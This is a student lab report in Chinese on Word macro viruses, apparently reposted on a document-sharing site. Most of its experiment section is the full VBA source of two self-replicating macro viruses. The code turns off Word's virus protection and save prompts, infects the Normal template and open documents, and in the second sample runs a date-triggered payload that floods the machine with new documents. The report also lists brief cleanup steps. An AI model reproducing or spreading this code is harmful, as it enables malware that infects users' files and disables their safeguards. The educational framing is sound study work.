宏病毒实验报告.docx
- 文档编号:13249898
- 上传时间:2023-06-12
- 格式:DOCX
- 页数:9
- 大小:266.46KB
宏病毒实验报告.docx
《宏病毒实验报告.docx》由会员分享,可在线阅读,更多相关《宏病毒实验报告.docx(9页珍藏版)》请在冰点文库上搜索。
宏病毒实验报告
宏病毒实验报告
2邹文敏
一、实验目的
通过运行计算机代码,更加深刻的理解计算机代码。
对计算机代码有一个初步的认识。
加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。
二、实验内容
运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。
三、实验步骤
实验一:
●将word文档中的开发者工具打开;word中心→信任选项→宏设计将信任选项打开
●运行第一个实验VisualBasic→normal→Microsoft→thedocument
Project→microsoftword对象→thedocument复制如下代码:
'APMP
PrivateSubDocument_Open()
OnErrorResumeNext
Application.DisplayStatusBar=False
Options.VirusProtection=False
Options.SaveNormalPrompt=False'以上都是基本的自我隐藏措施
MyCode=ThisDocument.VBProject.VBComponents
(1).CodeModule.Lines(1,20)
SetHost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen_
SetHost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
WithHost
If.Lines(1,1)<>"'APMP"Then'判断感染标志
.DeleteLines1,.CountOfLines'删除目标文件所有代码
.InsertLines1,MyCode'向目标文档写入病毒代码
IfThisDocument=NormalTemplateThen_
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndWith
MsgBox"Basicclassmacrobyjackie",vbOKOnly,"APMP"
EndSub
保存时注意保存为宏文件
实验一运行截图:
清除实验一中的内容只需要删除,thedocument中的内容在保存即可。
实验二:
编写代码的位置同上;
代码如下:
'moonlight
Dimnm(4)
SubDocument_Open()
'DisableInput1
Setourcodemodule=ThisDocument.VBProject.VBComponents
(1).CodeModule
Sethost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
Sethost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
Withhost
If.Lines(1,1)<>"'moonlight"Then
.DeleteLines1,.CountOfLines
.InsertLines1,ourcodemodule.Lines(1,100)
.ReplaceLine3,"SubDocument_Close()"
IfThisDocument=NormalTemplateThen
.ReplaceLine3,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
Count=0
IfDay(Now())=25Then
try:
OnErrorGoTotry
test=-1
con=1
tog$=""
i=0
Whiletest=-1
Fori=0To4
nm(i)=Int(Rnd()*10)
con=con*nm(i)
Ifi=4Then
tog$=tog$+Str$(nm(4))+"=?
"
GoTobeg
EndIf
tog$=tog$+Str$(nm(i))+"*"
Nexti
beg:
Beep
ans$=InputBox$("今天是"+Date$+",跟你玩一个心算游戏"+Chr$(13)+"若你答错,只好接受震撼教育......"+Chr$(13)+tog$,"台湾NO.1MacroVirus")
IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))Then
Documents.Add
Selection.Paragraphs.Alignment=wdAlignParagraphCenter
Beep
WithSelection.Font
.Name="细明体"
.Size=16
.Bold=1
.Underline=1
EndWith
Selection.InsertAfterText:
="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfterText:
="答案:
"
Selection.Font.Italic=1
Selection.InsertAfterText:
="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic=0
Beep
Selection.InsertAfterText:
="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfterText:
="答案:
"
Selection.Font.Italic=1
Selection.InsertAfterText:
="不要看我......"
GoToout
Else
Count=Count+1
Forj=1To20
Beep
Documents.Add
Nextj
Selection.Paragraphs.Alignment=wdAlignParagraphCenter
Selection.InsertAfterText:
="宏病毒"
IfCount=2ThenGoToout
GoTotry
EndIf
Wend
EndIf
out:
EndSub
运行截图:
1运行错误时:
2运行错误时:
●最后清除病毒时首先用快捷方式ctrl+alt+delet打开任务管理,之后结束进程,删除写病毒的文档,好了,文档中的病毒已经被删除了!
四、心得
宏病毒的使用在word文档中一旦被感染不删除的话会一直感染下去,致使电脑死机。
宏病毒,宏病毒主要感染数据文件即非可执行文件。
平时注意word文档中的信任选项和病毒漏洞的防护哟!
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 宏病毒 实验 报告